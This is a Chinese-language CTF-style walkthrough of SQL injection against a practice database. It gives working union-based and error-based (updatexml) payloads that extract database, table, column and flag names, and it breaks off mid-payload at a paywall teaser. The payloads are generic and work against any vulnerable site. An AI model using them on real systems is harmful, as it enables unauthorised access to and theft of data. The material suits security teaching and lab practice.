!
字符型注入
1. 输入1:1被引起
1

2. ’ 提前闭合
?id=1’ and 1=1–+
3. 求列数
?id=1’ order by 2–+

4. 求数据库名
?id=-1' union select database(),2--+

5. 求表名
?id=-1' union select group_concat(table_name) ,2 from information_schema.tables where table_schema='sqli' --+
数据库名是sqli

6. 求列名
表名是flag
?id=-1' union select group_concat(column_name) ,2 from information_schema.columns where table_name='flag' --+

7. 求字段
列名flag
?id=-1' union select group_concat(flag) ,2 from sqli.flag --+

报错注入
1.输入1

2. 求数据库
UPDATEXML (XML_document, XPath_string, new_value);
?id=1 and 1=(updatexml(1,concat(0x7e,database(),0x7e),1))

3.求表名
?id=1 and 1=(updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli')),1))

4.求列名
?id=1 and 1=(updatexml(1,concat(0x7e,(select

本文详细介绍了几种常见的SQL注入攻击手法,包括字符型注入、报错注入、布尔盲注等,并提供了具体的实施步骤与实例。此外,还介绍了如何利用工具如sqlmap进行自动化攻击,以及在不同注入场景下的应对策略。
最低0.47元/天 解锁文章
2138





